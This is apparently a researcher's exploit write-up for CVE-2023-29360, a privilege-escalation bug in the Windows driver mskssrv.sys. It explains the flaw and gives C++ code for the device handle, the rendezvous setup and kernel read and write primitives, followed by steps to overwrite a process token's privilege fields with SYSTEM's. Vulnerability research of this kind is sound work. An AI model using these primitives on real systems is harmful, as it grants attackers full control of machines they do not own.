Bug CVE : CVE-2023–29360
Bug type : Logical bug leading to LPE
Integrity needed : Medium for kernel address leak
Tested on : Windows 10
Vulnerable Driver : mskssrv.sys
Bug Details
This is a logical bug arising in function FsAllocAndLockMdl
inside mskssrv.sys
driver in windows.
NTSTATUS __fastcall FsAllocAndLockMdl(void *AddressPtr, ULONG Length, struct _MDL **OutputMdl){ NTSTATUS v4; // edi struct _MDL *Mdl; // rax struct _MDL *v6; // rbx v4 = 0; if ( !AddressPtr || !Length || !OutputMdl ) return STATUS_INVALID_PARAMETER; Mdl = IoAllocateMdl(AddressPtr, Length, 0, 0, 0i64); v6 = Mdl; if ( !Mdl ) return STATUS_INSUFFICIENT_RESOURCES; MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess); *OutputMdl = v6; return v4;}
This is the vulnerable code snippet that is responsible for the bug. As visible, the function is responsible for creating a MDL
from the AddressPtr
which is later passed to MmProbeAndLockPages
. This probing is done on KernelMode
rather than being done via UserMode
. This implies that that we can create a MDL based on arbitrary address and there would be no validation done since KernelMode
is specified.
Looking at the implementation of MmProbeAndLockPages
,we can confirm this
If AccessMode
is 0, then no check is done since the condition is evaluated to be false. AccessMode is 0 for kernel and 1 for Usermode.
Understanding MDL
MDL or Memory Descriptor List in windows is used by kernel to describe the physical page layout for a Virtual address. MDL is a opaque structure where StartVa
member points to the Virtual Address associated with the MDL. More details on MDL can be found here and here.
Looking at IoAllocateMdl
, it simply creates a MDL structure on the basis of values passed to it
There is no check for StartVa
member and hence arbitrary virtual address can be passed to it. Next, after the obtaining the MDL structure, the function passes it into MmProbeAndLockPages
which will lock the MDL's StartVa
and make sure its not paged out while driver is still operating on the data. Notice that IoWriteAccess
is supplied to it which means that it allows write operation on the mapped MDL's StartVa
member.
Now we know can we can create a arbitrary MDL. Lets see what more can be done with the MDL. Looking at xrefs of the MDL, we can see that its only being used inside FSFrameMdl::MapPages
function.
Looking at FsMapLockedPages
, we can see that it allows us to map the MDL into the process calling the driver.
NTSTATUS __fastcall FsMapLockedPages(struct _MDL *Mdl, ULONG Priority, PVOID *a3){ NTSTATUS v3; // ebx v3 = 0; if ( !Mdl || !a3 ) return STATUS_INVALID_PARAMETER; *a3 = 0i64; *a3 = MmMapLockedPagesSpecifyCache(Mdl, UserMode, MmCached, 0i64, 0, Priority); return v3;}
Looking at MmMapLockedPagesSpecifyCache, we see that the last argument to this function is a ULONG that denotes the Priority. If the priority is MdlMappingNoWrite i.e 0x80000000 , the the Virtual Address pointed by the MDL is mapped as Read Only. This means, that we need to select the right code branch that can allow us a control over Priority as well.
There are 2 code branches possible here.
For the second branch, the Priority is hardcoded 0xC0000010 which means a Priority flag of MdlMappingNoWrite | NormalPagePriority | MdlMappingNoExecute . This implies that we need to select the first branch since the second one is mapped as Read Only.
Exploitation
Now that we have everything figured, out lets break the exploitation steps into multiple steps :-
Step 1 : Connecting to the vulnerable driver
We know that the vulnerable driver is here mskssrv.sys
but, lets figure out how to connect to the driver.
I was out of idea on this as to how to connect to the driver since it was not working via default connection strings like \\\\.\\Device\\mskssrv
. Eventually I created a breakpoint on FSStreamReg::PublishTx
and various other functions. Upon starting the camera, we see that the requests are coming from a DLL called frameServer.dll
. Lets reverse the DLL to figure out how is it creating the driver handle.
Reversing the frameServer.dll
, we see a function called FSGetMSKSSrvHandle
which creates a call to CreateFileW
and uses the handle returned by it for further driver communication. Lets create a breakpoint on the same functionality to dump the file parameter passed to CreateFile.
We switch to WindowsCamera.exe process and wait for the breakpoint to be reached.
Now, that we have the file name, we can now talk to the driver.
bool Driver::SendDataToDriver(int ioctl_code, PVOID buffer, size_t buffer_len, PVOID OutBuffer, size_t out_buffer_len) { LPCWSTR lpFileName = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-" L"00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}"; HANDLE hDevice = CreateFileW(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); NTSTATUS status = -1; status = DeviceIoControl(hDevice, ioctl_code, buffer, buffer_len, OutBuffer, out_buffer_len, nullptr, nullptr)}
Step 2 : Create GlobalRendezvous
To create a MDL, we need to use PublishTx
function in mskssrv. While reversing the driver, we found that there is a global variable called FSInitializeContextRendezvous that needs to be initialized before anything is executed.
While reversing, we see that there is a global Rendezvous object that is being checked before any operation. So in order to perform any operation, we need to initialize the GlobalRendezvous object.
The below code would initialize the GlobalRendezvous object.
bool Bug::InitializeGlobalRendezvous() { auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo))); memset(stream_data, 0x0, sizeof(_FSStreamRegInfo)); HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr); stream_data->ObjectHandle = hEvent; stream_data->q2 = GetCurrentProcessId(); stream_data->q1 = 0x5; stream_data->f2 = 0x50; stream_data->q5 = 0x20000; stream_data->q3 = 1; SendDataToDriver(0x2f0400, stream_data, sizeof(_FSStreamRegInfo);}
Step 3 : Read Primitive
The below execution flow is used to create a read primitive.
uint64_t ReadPrimitive(uint64_t where) { // Initialize Stream bool status = false; if (poc::once) { poc_.InitializeStream(); } // PublishTx status = poc_.PublishTx(where); // Register Stream if (poc::once) { poc_.RegisterStream(); poc::once = false; } // ConsumeTx poc_.ConsumeTx(); // DrainTx poc_.DrainTx(); return *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr());}
We first initialize a stream. There would be a single stream binded to a device handle. This implies that we need to execute InitializeStream
and RegisterStream
once per device handle. Refer to the exploit code on how to create such requests.
PublishTx
function is responsible for creating a MDL with arbitrary virtual address while ConsumeTx
function is responsible for mapping the virtual address stored in the MDL in the user process creating the driver call. Note that we need both VirtualAddress1
and VirtualAddress2
for the IOCTL code to work.
Another thing to note here is that we pass 0xffffffff00000008
as the value for the switch_case
variable. This variable is used to direct the flow to right switch branch along with a controlled value over Priority field for mapping.
The switch_case value passed to PublishTx
is accessed in ConsumeTx
when the MDL is about to be mapped inside the user address space.
For a value of 0xffffffff00000008
, the switch_case branches out on the 32 bit LSB which in our case is 8. The priority on other hand is decided by full 64 bit value which after computation becomes 0x40000010
which is OR operation of MdlMappingNoExecute | NormalPagePriority
which implies that the page is mapped for write operations as well.
Refer to the exploit code on how to create requests for ConsumeTx, PublishTx and DrainTx.
Step 4 : Write Primitive
The below execution flow allows for write primitive :-
void WritePrimitive(uint64_t What, uint64_t Where) { // PublishTx poc_.PublishTx(Where); // ConsumeTx poc_.ConsumeTx(); // DrainTx poc_.DrainTx(); *reinterpret_cast<uint64_t*>(poc_.GetMappedAddr()) = What;}
We don't execute InitializeStream
and RegisterStream
since by the time it reaches the Write Primitive, read primitive would be executed first and the mentioned functions would already be executed.
We use the same technique that we used for Read Primitive since the address is mapped with read and write.
_TOKEN structure
The token structure contains fields from 0x40 that indicate the privileges associated with the token.
+0x40 Present : Uint8B+0x48 Enabled : Uint8B+0x50 EnabledByDefault : Uint8B
To escalate privileges via write primitive, we can simply overwrite the fields at offset 0x40, 0x48 and 0x50 with the values that are present in the _TOKEN of system process.
Note : The _TOKEN address obtained via any means should have the last bit set to 0. So simply AND the address with 0xfffffffffffffff0
Time wasted on :-
The below are the pointers where I wasted lot of time on silly mistakes.
While reversing, I figured out that we need to execute both
InitializeStream
andRegisterStream
functions but I was not able to execute both the functions on a single driver handle. This lead me to realize that we need 2 driver handles. One driver handle would be responsible for creatingInitializeStream
and another one would be responsible for creatingRegisterStream
. If our main driver handle is saydriver1_
, then InitializeStream needs to be done on handle1_ while RegisterStream needs to be done on driver2_.
The reason for this is because of a check in ConsumeTx shown below :
The variable g4 is initialized to 1 only in RegisterStream
function in mskssrv driver. As shown below, the driver fetches the stream pointer from a list and sets g4
structure member to 1
The reason we were not able to use the same driver handle is because of this check in RegisterStream operation
... if ( CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode != 0x2F0420 || CurrentStackLocation->FileObject->FsContext2 ) { return STATUS_INVALID_DEVICE_REQUEST; } ...
The FsContext2 is set for a IRP that corresponds to a single driver handle. This means that if we create a new driver handle, then FsContext2
by default will be null and this check would be passed and hence the need to create a new driver handle.
Given the read write primitives, I wanted to use less number of read and writes. This means that traversing the eprocess linked list in kernel is not a feasible approach since this would be multiple reads. Reading about few techniques, I found this blackhat paper.
I decided to use the OpenProcessToken
approach. OpenProcessToken returns a token handle that can be used along with NtQuerySystemInformation
to obtain the kernel address of the _TOKEN object. I wasted lot of time trying to understand why the Token address returned via above method was not same to the token address obtained via _EPROCESS
structure from debugger.
Eventually I realized that I was looking at wrong process. The exploit process would be a child process of cmd.exe and as such we need to find the _EPROCESS
of the exploit process rather than cmd.exe and then calculate the value. The Token address returned via _EPROCESS would be same as the one obtained via previous method. A stupid mistake 😄
Full exploit can be found at Github.
References :-